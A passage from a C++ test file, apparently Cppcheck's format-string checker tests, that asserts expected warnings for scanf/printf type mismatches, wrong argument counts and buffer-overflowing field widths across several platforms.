[invalidScanfFormatWidth]\\n\", errout_str());\n }\n\n\n#define TEST_SCANF_CODE(format, type) \\\n \"void f(){\" type \" x; scanf(\\\"\" format \"\\\", &x);}\"\n\n#define TEST_SCANF_ERR(format, formatStr, type) \\\n \"[test.c:1]: (warning) \" format \" in format string (no. 1) requires '\" formatStr \" *' but the argument type is '\" type \" *'.\\n\"\n\n#define TEST_SCANF_ERR_AKA_(file, format, formatStr, type, akaType) \\\n \"[\" file \":1]: (portability) \" format \" in format string (no. 1) requires '\" formatStr \" *' but the argument type is '\" type \" * {aka \" akaType \" *}'.\\n\"\n\n#define TEST_SCANF_ERR_AKA(format, formatStr, type, akaType) \\\n TEST_SCANF_ERR_AKA_(\"test.c\", format, formatStr, type, akaType)\n\n#define TEST_SCANF_ERR_AKA_CPP(format, formatStr, type, akaType) \\\n TEST_SCANF_ERR_AKA_(\"test.cpp\", format, formatStr, type, akaType)\n\n#define TEST_PRINTF_CODE(format, type) \\\n \"void f(\" type \" x){printf(\\\"\" format \"\\\", x);}\"\n\n#define TEST_PRINTF_ERR(format, requiredType, actualType) \\\n \"[test.c:1]: (warning) \" format \" in format string (no. 1) requires '\" requiredType \"' but the argument type is '\" actualType \"'.\\n\"\n\n#define TEST_PRINTF_ERR_AKA_(file, format, requiredType, actualType, akaType) \\\n \"[\" file \":1]: (portability) \" format \" in format string (no. 1) requires '\" requiredType \"' but the argument type is '\" actualType \" {aka \" akaType \"}'.\\n\"\n\n#define TEST_PRINTF_ERR_AKA(format, requiredType, actualType, akaType) \\\n TEST_PRINTF_ERR_AKA_(\"test.c\", format, requiredType, actualType, akaType)\n\n#define TEST_PRINTF_ERR_AKA_CPP(format, requiredType, actualType, akaType) \\\n TEST_PRINTF_ERR_AKA_(\"test.cpp\", format, requiredType, actualType, akaType)\n\n template\n void testFormatStrNoWarn(const char *filename, unsigned int linenr, const char (&code)[size],\n bool cpp = false) {\n check(code, dinit(CheckOptions, $.inconclusive = true, $.platform = Platform::Type::Unix32, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, \"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.platform = Platform::Type::Unix64, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, \"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.platform = Platform::Type::Win32A, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, \"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.platform = Platform::Type::Win32W, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, \"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.platform = Platform::Type::Win64, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, \"\", errout_str());\n }\n\n template\n void testFormatStrWarn(const char *filename, unsigned int linenr,\n const char (&code)[size], const char* testScanfErrString,\n bool cpp = false) {\n check(code, dinit(CheckOptions, $.inconclusive = true, $.platform = Platform::Type::Unix32, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, testScanfErrString, errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.platform = Platform::Type::Unix64, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, testScanfErrString, errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.platform = Platform::Type::Win32A, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, testScanfErrString, errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.platform = Platform::Type::Win32W, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, testScanfErrString, errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.platform = Platform::Type::Win64, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, testScanfErrString, errout_str());\n }\n\n template\n void testFormatStrWarnAka(const char *filename, unsigned int linenr,\n const char (&code)[size], const char* testScanfErrAkaString, const char* testScanfErrAkaWin64String,\n bool cpp = false) {\n check(code, dinit(CheckOptions, $.inconclusive = true, $.portability = true, $.platform = Platform::Type::Unix32, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, testScanfErrAkaString, errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.portability = true, $.platform = Platform::Type::Unix64, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, testScanfErrAkaString, errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.portability = true, $.platform = Platform::Type::Win32A, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, testScanfErrAkaString, errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.portability = true, $.platform = Platform::Type::Win32W, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, testScanfErrAkaString, errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.portability = true, $.platform = Platform::Type::Win64, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, testScanfErrAkaWin64String, errout_str());\n }\n\n template\n void testFormatStrWarnAkaWin64(const char *filename, unsigned int linenr,\n const char (&code)[size], const char* testScanfErrAkaWin64String,\n bool cpp = false) {\n check(code, dinit(CheckOptions, $.inconclusive = true, $.portability = true, $.platform = Platform::Type::Unix32, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, \"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.portability = true, $.platform = Platform::Type::Unix64, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, \"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.portability = true, $.platform = Platform::Type::Win32A, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, \"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.portability = true, $.platform = Platform::Type::Win32W, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, \"\", errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.portability = true, $.platform = Platform::Type::Win64, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, testScanfErrAkaWin64String, errout_str());\n }\n\n template\n void testFormatStrWarnAkaWin32(const char *filename, unsigned int linenr,\n const char (&code)[size], const char* testScanfErrAkaString,\n bool cpp = false) {\n check(code, dinit(CheckOptions, $.inconclusive = true, $.portability = true, $.platform = Platform::Type::Unix32, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, testScanfErrAkaString, errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.portability = true, $.platform = Platform::Type::Unix64, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, testScanfErrAkaString, errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.portability = true, $.platform = Platform::Type::Win32A, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, testScanfErrAkaString, errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.portability = true, $.platform = Platform::Type::Win32W, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, testScanfErrAkaString, errout_str());\n check(code, dinit(CheckOptions, $.inconclusive = true, $.portability = true, $.platform = Platform::Type::Win64, $.onlyFormatStr = true, $.cpp = cpp));\n assertEquals(filename, linenr, \"\", errout_str());\n }\n\n#define TEST_SCANF_NOWARN(FORMAT, FORMATSTR, TYPE) \\\n testFormatStrNoWarn(__FILE__, __LINE__, TEST_SCANF_CODE(FORMAT, TYPE))\n#define TEST_SCANF_NOWARN_CPP(FORMAT, FORMATSTR, TYPE) \\\n testFormatStrNoWarn(__FILE__, __LINE__, TEST_SCANF_CODE(FORMAT, TYPE), true)\n#define TEST_SCANF_WARN(FORMAT, FORMATSTR, TYPE) \\\n testFormatStrWarn(__FILE__, __LINE__, TEST_SCANF_CODE(FORMAT, TYPE), TEST_SCANF_ERR(FORMAT, FORMATSTR, TYPE))\n#define TEST_SCANF_WARN_AKA(FORMAT, FORMATSTR, TYPE, AKATYPE, AKATYPE_WIN64) \\\n testFormatStrWarnAka(__FILE__, __LINE__, TEST_SCANF_CODE(FORMAT, TYPE), TEST_SCANF_ERR_AKA(FORMAT, FORMATSTR, TYPE, AKATYPE), TEST_SCANF_ERR_AKA(FORMAT, FORMATSTR, TYPE, AKATYPE_WIN64))\n#define TEST_SCANF_WARN_AKA_CPP(FORMAT, FORMATSTR, TYPE, AKATYPE, AKATYPE_WIN64) \\\n testFormatStrWarnAka(__FILE__, __LINE__, TEST_SCANF_CODE(FORMAT, TYPE), TEST_SCANF_ERR_AKA_CPP(FORMAT, FORMATSTR, TYPE, AKATYPE), TEST_SCANF_ERR_AKA_CPP(FORMAT, FORMATSTR, TYPE, AKATYPE_WIN64), true)\n#define TEST_SCANF_WARN_AKA_WIN64(FORMAT, FORMATSTR, TYPE, AKATYPE_WIN64) \\\n testFormatStrWarnAkaWin64(__FILE__, __LINE__, TEST_SCANF_CODE(FORMAT, TYPE), TEST_SCANF_ERR_AKA(FORMAT, FORMATSTR, TYPE, AKATYPE_WIN64))\n#define TEST_SCANF_WARN_AKA_CPP_WIN64(FORMAT, FORMATSTR, TYPE, AKATYPE_WIN64) \\\n testFormatStrWarnAkaWin64(__FILE__, __LINE__, TEST_SCANF_CODE(FORMAT, TYPE), TEST_SCANF_ERR_AKA_CPP(FORMAT, FORMATSTR, TYPE, AKATYPE_WIN64), true)\n#define TEST_SCANF_WARN_AKA_WIN32(FORMAT, FORMATSTR, TYPE, AKATYPE_WIN32) \\\n testFormatStrWarnAkaWin32(__FILE__, __LINE__, TEST_SCANF_CODE(FORMAT, TYPE), TEST_SCANF_ERR_AKA(FORMAT, FORMATSTR, TYPE, AKATYPE_WIN32))\n#define TEST_SCANF_WARN_AKA_CPP_WIN32(FORMAT, FORMATSTR, TYPE, AKATYPE_WIN32) \\\n testFormatStrWarnAkaWin32(__FILE__, __LINE__, TEST_SCANF_CODE(FORMAT, TYPE), TEST_SCANF_ERR_AKA_CPP(FORMAT, FORMATSTR, TYPE, AKATYPE_WIN32), true)\n\n#define TEST_PRINTF_NOWARN(FORMAT, FORMATSTR, TYPE) \\\n testFormatStrNoWarn(__FILE__, __LINE__, TEST_PRINTF_CODE(FORMAT, TYPE))\n#define TEST_PRINTF_NOWARN_CPP(FORMAT, FORMATSTR, TYPE) \\\n testFormatStrNoWarn(__FILE__, __LINE__, TEST_PRINTF_CODE(FORMAT, TYPE), true)\n#define TEST_PRINTF_WARN(FORMAT, FORMATSTR, TYPE) \\\n testFormatStrWarn(__FILE__, __LINE__, TEST_PRINTF_CODE(FORMAT, TYPE), TEST_PRINTF_ERR(FORMAT, FORMATSTR, TYPE))\n#define TEST_PRINTF_WARN_AKA(FORMAT, FORMATSTR, TYPE, AKATYPE, AKATYPE_WIN64) \\\n testFormatStrWarnAka(__FILE__, __LINE__, TEST_PRINTF_CODE(FORMAT, TYPE), TEST_PRINTF_ERR_AKA(FORMAT, FORMATSTR, TYPE, AKATYPE), TEST_PRINTF_ERR_AKA(FORMAT, FORMATSTR, TYPE, AKATYPE_WIN64))\n#define TEST_PRINTF_WARN_AKA_CPP(FORMAT, FORMATSTR, TYPE, AKATYPE, AKATYPE_WIN64) \\\n testFormatStrWarnAka(__FILE__, __LINE__, TEST_PRINTF_CODE(FORMAT, TYPE), TEST_PRINTF_ERR_AKA_CPP(FORMAT, FORMATSTR, TYPE, AKATYPE), TEST_PRINTF_ERR_AKA_CPP(FORMAT, FORMATSTR, TYPE, AKATYPE_WIN64), true)\n#define TEST_PRINTF_WARN_AKA_WIN64(FORMAT, FORMATSTR, TYPE, AKATYPE_WIN64) \\\n testFormatStrWarnAkaWin64(__FILE__, __LINE__, TEST_PRINTF_CODE(FORMAT, TYPE), TEST_PRINTF_ERR_AKA(FORMAT, FORMATSTR, TYPE, AKATYPE_WIN64))\n#define TEST_PRINTF_WARN_AKA_CPP_WIN64(FORMAT, FORMATSTR, TYPE, AKATYPE_WIN64) \\\n testFormatStrWarnAkaWin64(__FILE__, __LINE__, TEST_PRINTF_CODE(FORMAT, TYPE), TEST_PRINTF_ERR_AKA_CPP(FORMAT, FORMATSTR, TYPE, AKATYPE_WIN64), true)\n#define TEST_PRINTF_WARN_AKA_WIN32(FORMAT, FORMATSTR, TYPE, AKATYPE_WIN32) \\\n testFormatStrWarnAkaWin32(__FILE__, __LINE__, TEST_PRINTF_CODE(FORMAT, TYPE), TEST_PRINTF_ERR_AKA(FORMAT, FORMATSTR, TYPE, AKATYPE_WIN32))\n#define TEST_PRINTF_WARN_AKA_CPP_WIN32(FORMAT, FORMATSTR, TYPE, AKATYPE_WIN32) \\\n testFormatStrWarnAkaWin32(__FILE__, __LINE__, TEST_PRINTF_CODE(FORMAT, TYPE), TEST_PRINTF_ERR_AKA_CPP(FORMAT, FORMATSTR, TYPE, AKATYPE_WIN32), true)\n\n void testScanfArgument() {\n check(\"void foo() {\\n\"\n \" scanf(\\\"%1d\\\", &foo);\\n\"\n \" sscanf(bar, \\\"%1d\\\", &foo);\\n\"\n \" scanf(\\\"%1u%1u\\\", &foo, bar());\\n\"\n \" scanf(\\\"%*1x %1x %29s\\\", &count, KeyName);\\n\" // #3373\n \" fscanf(f, \\\"%7ms\\\", &ref);\\n\" // #3461\n \" sscanf(ip_port, \\\"%*[^:]:%4d\\\", &port);\\n\" // #3468\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" scanf(\\\"\\\", &foo);\\n\"\n \" scanf(\\\"%1d\\\", &foo, &bar);\\n\"\n \" fscanf(bar, \\\"%1d\\\", &foo, &bar);\\n\"\n \" scanf(\\\"%*1x %1x %29s\\\", &count, KeyName, foo);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) scanf format string requires 0 parameters but 1 is given.\\n\"\n \"[test.cpp:3]: (warning) scanf format string requires 1 parameter but 2 are given.\\n\"\n \"[test.cpp:4]: (warning) fscanf format string requires 1 parameter but 2 are given.\\n\"\n \"[test.cpp:5]: (warning) scanf format string requires 2 parameters but 3 are given.\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" scanf(\\\"%1d\\\");\\n\"\n \" scanf(\\\"%1u%1u\\\", bar());\\n\"\n \" sscanf(bar, \\\"%1d%1d\\\", &foo);\\n\"\n \" scanf(\\\"%*1x %1x %29s\\\", &count);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (error) scanf format string requires 1 parameter but only 0 are given.\\n\"\n \"[test.cpp:3]: (error) scanf format string requires 2 parameters but only 1 is given.\\n\"\n \"[test.cpp:4]: (error) sscanf format string requires 2 parameters but only 1 is given.\\n\"\n \"[test.cpp:5]: (error) scanf format string requires 2 parameters but only 1 is given.\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char input[10];\\n\"\n \" char output[5];\\n\"\n \" sscanf(input, \\\"%3s\\\", output);\\n\"\n \" sscanf(input, \\\"%4s\\\", output);\\n\"\n \" sscanf(input, \\\"%5s\\\", output);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6]: (error) Width 5 given in format string (no. 1) is larger than destination buffer 'output[5]', use %4s to prevent overflowing it.\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" char input[10];\\n\"\n \" char output[5];\\n\"\n \" sscanf(input, \\\"%s\\\", output);\\n\"\n \" sscanf(input, \\\"%3s\\\", output);\\n\"\n \" sscanf(input, \\\"%4s\\\", output);\\n\"\n \" sscanf(input, \\\"%5s\\\", output);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:5]: (warning, inconclusive) Width 3 given in format string (no. 1) is smaller than destination buffer 'output[5]'.\\n\"\n \"[test.cpp:7]: (error) Width 5 given in format string (no. 1) is larger than destination buffer 'output[5]', use %4s to prevent overflowing it.\\n\"\n \"[test.cpp:4]: (warning) sscanf() without field width limits can crash with huge input data.\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const size_t BUFLENGTH(2048);\\n\"\n \" typedef char bufT[BUFLENGTH];\\n\"\n \" bufT line= {0};\\n\"\n \" bufT projectId= {0};\\n\"\n \" const int scanrc=sscanf(line, \\\"Project(\\\\\\\"{%36s}\\\\\\\")\\\", projectId);\\n\"\n \" sscanf(input, \\\"%5s\\\", output);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:6]: (warning, inconclusive) Width 36 given in format string (no. 1) is smaller than destination buffer 'projectId[2048]'.\\n\", errout_str());\n\n check(\"void foo(unsigned int i) {\\n\"\n \" scanf(\\\"%h\\\", &i);\\n\"\n \" scanf(\\\"%hh\\\", &i);\\n\"\n \" scanf(\\\"%l\\\", &i);\\n\"\n \" scanf(\\\"%ll\\\", &i);\\n\"\n \" scanf(\\\"%j\\\", &i);\\n\"\n \" scanf(\\\"%z\\\", &i);\\n\"\n \" scanf(\\\"%t\\\", &i);\\n\"\n \" scanf(\\\"%L\\\", &i);\\n\"\n \" scanf(\\\"%I\\\", &i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) 'h' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier.\\n\"\n \"[test.cpp:3]: (warning) 'hh' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier.\\n\"\n \"[test.cpp:4]: (warning) 'l' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier.\\n\"\n \"[test.cpp:5]: (warning) 'll' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier.\\n\"\n \"[test.cpp:6]: (warning) 'j' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier.\\n\"\n \"[test.cpp:7]: (warning) 'z' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier.\\n\"\n \"[test.cpp:8]: (warning) 't' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier.\\n\"\n \"[test.cpp:9]: (warning) 'L' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier.\\n\"\n \"[test.cpp:10]: (warning) 'I' in format string (no. 1) is a length modifier and cannot be used without a conversion specifier.\\n\", errout_str());\n\n // Unrecognized (and non-existent in standard library) specifiers.\n // Perhaps should emit warnings\n TEST_SCANF_NOWARN(\"%jb\", \"intmax_t\", \"intmax_t\");\n TEST_SCANF_NOWARN(\"%jw\", \"uintmax_t\", \"uintmax_t\");\n TEST_SCANF_NOWARN(\"%zr\", \"size_t\", \"size_t\");\n TEST_SCANF_NOWARN(\"%tm\", \"ptrdiff_t\", \"ptrdiff_t\");\n TEST_SCANF_NOWARN(\"%La\", \"long double\", \"long double\");\n TEST_SCANF_NOWARN_CPP(\"%zv\", \"std::size_t\", \"std::size_t\");\n TEST_SCANF_NOWARN_CPP(\"%tp\", \"std::ptrdiff_t\", \"std::ptrdiff_t\");\n\n TEST_SCANF_WARN(\"%u\", \"unsigned int\", \"bool\");\n TEST_SCANF_WARN(\"%u\", \"unsigned int\", \"char\");\n TEST_SCANF_WARN(\"%u\", \"unsigned int\", \"signed char\");\n TEST_SCANF_WARN(\"%u\", \"unsigned int\", \"unsigned char\");\n TEST_SCANF_WARN(\"%u\", \"unsigned int\", \"signed short\");\n TEST_SCANF_WARN(\"%u\", \"unsigned int\", \"unsigned short\");\n TEST_SCANF_WARN(\"%u\", \"unsigned int\", \"signed int\");\n TEST_SCANF_NOWARN(\"%u\", \"unsigned int\", \"unsigned int\");\n TEST_SCANF_WARN(\"%u\", \"unsigned int\", \"signed long\");\n TEST_SCANF_WARN(\"%u\", \"unsigned int\", \"unsigned long\");\n TEST_SCANF_WARN(\"%u\", \"unsigned int\", \"signed long long\");\n TEST_SCANF_WARN(\"%u\", \"unsigned int\", \"unsigned long long\");\n TEST_SCANF_WARN(\"%u\", \"unsigned int\", \"float\");\n TEST_SCANF_WARN(\"%u\", \"unsigned int\", \"double\");\n TEST_SCANF_WARN(\"%u\", \"unsigned int\", \"long double\");\n TEST_SCANF_WARN(\"%u\", \"unsigned int\", \"void *\");\n TEST_SCANF_WARN_AKA(\"%u\", \"unsigned int\", \"size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%u\", \"unsigned int\", \"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%u\", \"unsigned int\", \"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%u\", \"unsigned int\", \"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%u\", \"unsigned int\", \"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%u\", \"unsigned int\", \"uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%u\", \"unsigned int\", \"intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%u\", \"unsigned int\", \"uintptr_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%u\", \"unsigned int\", \"std::size_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%u\", \"unsigned int\", \"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%u\", \"unsigned int\", \"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%u\", \"unsigned int\", \"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%u\", \"unsigned int\", \"std::uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%u\", \"unsigned int\", \"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%u\", \"unsigned int\", \"std::uintptr_t\", \"unsigned long\", \"unsigned long long\");\n\n check(\"void foo() {\\n\"\n \" scanf(\\\"%u\\\", \\\"s3\\\");\\n\"\n \" scanf(\\\"%u\\\", L\\\"s5W\\\");\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %u in format string (no. 1) requires 'unsigned int *' but the argument type is 'const char *'.\\n\"\n \"[test.cpp:3]: (warning) %u in format string (no. 1) requires 'unsigned int *' but the argument type is 'const wchar_t *'.\\n\", errout_str());\n\n check(\"void foo(long l) {\\n\"\n \" scanf(\\\"%u\\\", l);\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:2]: (warning) %u in format string (no. 1) requires 'unsigned int *' but the argument type is 'signed long'.\\n\", errout_str());\n\n TEST_SCANF_WARN(\"%lu\",\"unsigned long\",\"bool\");\n TEST_SCANF_WARN(\"%lu\",\"unsigned long\",\"char\");\n TEST_SCANF_WARN(\"%lu\",\"unsigned long\",\"signed char\");\n TEST_SCANF_WARN(\"%lu\",\"unsigned long\",\"unsigned char\");\n TEST_SCANF_WARN(\"%lu\",\"unsigned long\",\"signed short\");\n TEST_SCANF_WARN(\"%lu\",\"unsigned long\",\"unsigned short\");\n TEST_SCANF_WARN(\"%lu\",\"unsigned long\",\"signed int\");\n TEST_SCANF_WARN(\"%lu\",\"unsigned long\",\"unsigned int\");\n TEST_SCANF_WARN(\"%lu\",\"unsigned long\",\"signed long\");\n TEST_SCANF_NOWARN(\"%lu\",\"unsigned long\",\"unsigned long\");\n TEST_SCANF_WARN(\"%lu\",\"unsigned long\",\"signed long long\");\n TEST_SCANF_WARN(\"%lu\",\"unsigned long\",\"unsigned long long\");\n TEST_SCANF_WARN(\"%lu\",\"unsigned long\",\"float\");\n TEST_SCANF_WARN(\"%lu\",\"unsigned long\",\"double\");\n TEST_SCANF_WARN(\"%lu\",\"unsigned long\",\"long double\");\n TEST_SCANF_WARN(\"%lu\",\"unsigned long\",\"void *\");\n TEST_SCANF_WARN_AKA(\"%lu\",\"unsigned long\",\"size_t\",\"unsigned long\",\"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%lu\",\"unsigned long\",\"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%lu\",\"unsigned long\",\"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%lu\",\"unsigned long\",\"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%lu\",\"unsigned long\",\"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%lu\",\"unsigned long\",\"uintmax_t\",\"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%lu\",\"unsigned long\",\"intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_WIN64(\"%lu\",\"unsigned long\",\"uintptr_t\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%lu\",\"unsigned long\",\"std::size_t\",\"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%lu\",\"unsigned long\",\"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%lu\",\"unsigned long\",\"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%lu\",\"unsigned long\",\"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%lu\",\"unsigned long\",\"std::uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%lu\",\"unsigned long\",\"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP_WIN64(\"%lu\",\"unsigned long\",\"std::uintptr_t\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%lx\",\"unsigned long\",\"bool\");\n TEST_SCANF_WARN(\"%lx\",\"unsigned long\",\"char\");\n TEST_SCANF_WARN(\"%lx\",\"unsigned long\",\"signed char\");\n TEST_SCANF_WARN(\"%lx\",\"unsigned long\",\"unsigned char\");\n TEST_SCANF_WARN(\"%lx\",\"unsigned long\",\"signed short\");\n TEST_SCANF_WARN(\"%lx\",\"unsigned long\",\"unsigned short\");\n TEST_SCANF_WARN(\"%lx\",\"unsigned long\",\"signed int\");\n TEST_SCANF_WARN(\"%lx\",\"unsigned long\",\"unsigned int\");\n TEST_SCANF_WARN(\"%lx\",\"unsigned long\",\"signed long\");\n TEST_SCANF_NOWARN(\"%lx\",\"unsigned long\",\"unsigned long\");\n TEST_SCANF_WARN(\"%lx\",\"unsigned long\",\"signed long long\");\n TEST_SCANF_WARN(\"%lx\",\"unsigned long\",\"unsigned long long\");\n TEST_SCANF_WARN(\"%lx\",\"unsigned long\",\"float\");\n TEST_SCANF_WARN(\"%lx\",\"unsigned long\",\"double\");\n TEST_SCANF_WARN(\"%lx\",\"unsigned long\",\"long double\");\n TEST_SCANF_WARN(\"%lx\",\"unsigned long\",\"void *\");\n TEST_SCANF_WARN_AKA(\"%lx\",\"unsigned long\",\"size_t\",\"unsigned long\",\"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%lx\",\"unsigned long\",\"ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%lx\",\"unsigned long\",\"ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%lx\",\"unsigned long\",\"unsigned ptrdiff_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%lx\",\"unsigned long\",\"intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA(\"%lx\",\"unsigned long\",\"uintmax_t\",\"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%lx\",\"unsigned long\",\"intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_WIN64(\"%lx\",\"unsigned long\",\"uintptr_t\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%lx\",\"unsigned long\",\"std::size_t\",\"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%lx\",\"unsigned long\",\"std::ssize_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%lx\",\"unsigned long\",\"std::ptrdiff_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%lx\",\"unsigned long\",\"std::intmax_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%lx\",\"unsigned long\",\"std::uintmax_t\", \"unsigned long\", \"unsigned long long\");\n TEST_SCANF_WARN_AKA_CPP(\"%lx\",\"unsigned long\",\"std::intptr_t\", \"signed long\", \"signed long long\");\n TEST_SCANF_WARN_AKA_CPP_WIN64(\"%lx\",\"unsigned long\",\"std::uintptr_t\", \"unsigned long long\");\n\n TEST_SCANF_WARN(\"%ld\",\"long\",\"bool\");\n TEST_SCANF_WARN(\"%ld\",\"long\",\"char\");\n TEST_SCANF_NOWARN(\"%ld\",\"long\",\"signed long\");\n TEST_SCANF_WARN(\"%ld\",\"long\",\"unsigned long\");\n TEST_SCANF_WARN(\"%ld\",\"long\",\"void *\");\n TEST_SCANF_WARN_AKA(\"%ld\",\"long\",\"size_t\",\"unsigned long\",\"unsigned long long\");\n TEST_SCANF_WARN_AKA(\"%ld\",\"long\",\"intmax_t\", \"signed long\", \"signed long long\");\n 